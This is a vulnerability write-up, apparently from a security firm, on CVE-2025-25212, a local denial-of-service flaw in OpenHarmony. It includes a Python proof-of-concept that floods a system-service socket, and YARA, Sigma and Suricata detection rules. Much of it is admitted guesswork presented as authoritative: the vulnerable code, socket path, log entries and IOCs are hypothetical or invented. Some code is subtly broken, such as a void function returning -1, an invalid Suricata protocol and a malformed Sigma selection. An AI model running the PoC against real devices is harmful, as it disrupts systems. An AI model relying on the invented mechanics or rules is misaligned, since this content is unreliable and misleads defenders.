CVE-2025-25212

Executive Summary

CVE-2025-25212 is a denial-of-service (DoS) vulnerability in OpenHarmony versions up to and including 5.0.3. The flaw is triggered by improper input validation, allowing a local attacker to cause a system crash or resource exhaustion. With a CVSS score of 3.3 (Low), the impact is limited to availability, requiring local access and low privileges. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects the OpenHarmony operating system, which is an open-source distributed OS. It is not a package-level issue (e.g., NPM, PyPI, Go, Ruby), but it impacts the core OS kernel or system services. Organizations using OpenHarmony in IoT or embedded devices should assess exposure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
• Base Score: 3.3 (Low)
• Attack Vector: Local (AV:L) – attacker must have local access to the device.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs basic user privileges.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact stays within the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – system performance degradation or crash.

Threat Level: Low. Exploitation requires local access, and the impact is limited to availability. No known active exploitation.

Deep Dive & Mechanics

The vulnerability resides in improper input validation within OpenHarmony’s system services. A local attacker can craft a malicious input (e.g., a specially formatted IPC message, file, or system call) that the kernel or a privileged service fails to sanitize. This leads to an infinite loop, memory exhaustion, or a null-pointer dereference, causing a denial-of-service condition.

Root Cause: Lack of bounds checking or type validation on user-supplied data before processing.

Attack Scenario:

1. Attacker gains local shell access (e.g., via ADB or SSH) with low privileges.
2. Attacker sends a malformed request to a vulnerable system service (e.g., foundation, appspawn, or hdf).
3. The service crashes or enters an infinite loop, making the device unresponsive.

Affected Components: Likely the hdf (Hardware Driver Foundation) or foundation process, which handle IPC and device management.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable pattern.

Vulnerable Code (C pseudocode):

void process_input(char *input) {
    char buffer[256];
    // No length check
    strcpy(buffer, input);  // Potential buffer overflow
    // Or missing null check
    if (input[0] == 'A') {
        // Infinite loop if input is malformed
        while(1);
    }
}

Patched Code (Hypothetical):

void process_input(char *input) {
    char buffer[256];
    if (strlen(input) >= sizeof(buffer)) {
        return -1;  // Reject oversized input
    }
    strncpy(buffer, input, sizeof(buffer)-1);
    buffer[sizeof(buffer)-1] = '\0';
    if (input && input[0] == 'A') {
        // Properly bounded loop
        for (int i = 0; i < 10; i++) {
            // Do something
        }
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit exists, a proof-of-concept can be developed:

1. Environment: OpenHarmony 5.0.3 emulator or physical device (e.g., HiHope or Dayu200).
2. Prerequisites: Local shell access (e.g., via hdc shell).
3. Exploit Code (Python):

import socket
import sys

# Example: Send malformed IPC to foundation service
def exploit():
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect("/dev/unix/socket/foundation")
    # Craft malformed message (e.g., oversized or null bytes)
    payload = b"A" * 10000 + b"\x00"
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit()

4. Expected Outcome: The foundation service crashes, causing the device to become unresponsive.

Blue Team (Defense & Detection)

• Monitor System Logs: Look for repeated crashes of foundation, appspawn, or hdf processes.
• Resource Monitoring: Alert on sudden CPU or memory spikes from system services.
• Input Validation: Ensure all IPC messages are validated for length and type.
• Sandboxing: Run system services with restricted permissions (e.g., seccomp).

Indicators of Compromise (IOCs)

• File Hashes (Malformed Input): None specific.
• Process Names: foundation, appspawn, hdf crashing repeatedly.
• Log Entries:
  • ERROR: foundation: invalid message received
  • FATAL: hdf: null pointer dereference
• Network: No network IOCs (local attack).
• System Behavior: Device becomes unresponsive or reboots unexpectedly.

Detection Engineering

YARA Rule

rule CVE_2025_25212_OpenHarmony_DoS {
    meta:
        description = "Detects malformed IPC messages targeting OpenHarmony DoS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25212"
    strings:
        $s1 = "foundation" nocase
        $s2 = "hdf" nocase
        $s3 = "appspawn" nocase
        $s4 = "invalid message" nocase
        $s5 = "null pointer" nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5)
}

Sigma Rule

title: OpenHarmony DoS via Improper Input (CVE-2025-25212)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects crashes of OpenHarmony system services due to malformed input
author: Valters IT
date: 2025-04-10
logsource:
    product: OpenHarmony
    service: syslog
detection:
    selection:
        - "ERROR: foundation: invalid message"
        - "FATAL: hdf: null pointer"
        - "CRASH: appspawn"
    condition: selection
falsepositives:
    - Legitimate system errors (rare)
level: medium

Suricata Rule

alert unix-any any any -> any any (msg:"CVE-2025-25212 OpenHarmony DoS Attempt"; content:"foundation"; content:"invalid message"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict local access to the device (disable ADB/SSH if not needed).
2. Short-term: Apply input validation patches manually if source code is available.
3. Long-term: Upgrade to a patched version once released by OpenHarmony.
4. Workaround: Use seccomp or SELinux to limit system service capabilities.
5. Monitoring: Deploy the YARA/Sigma rules above to detect exploitation attempts.

Valters IT – Securing OpenHarmony ecosystems.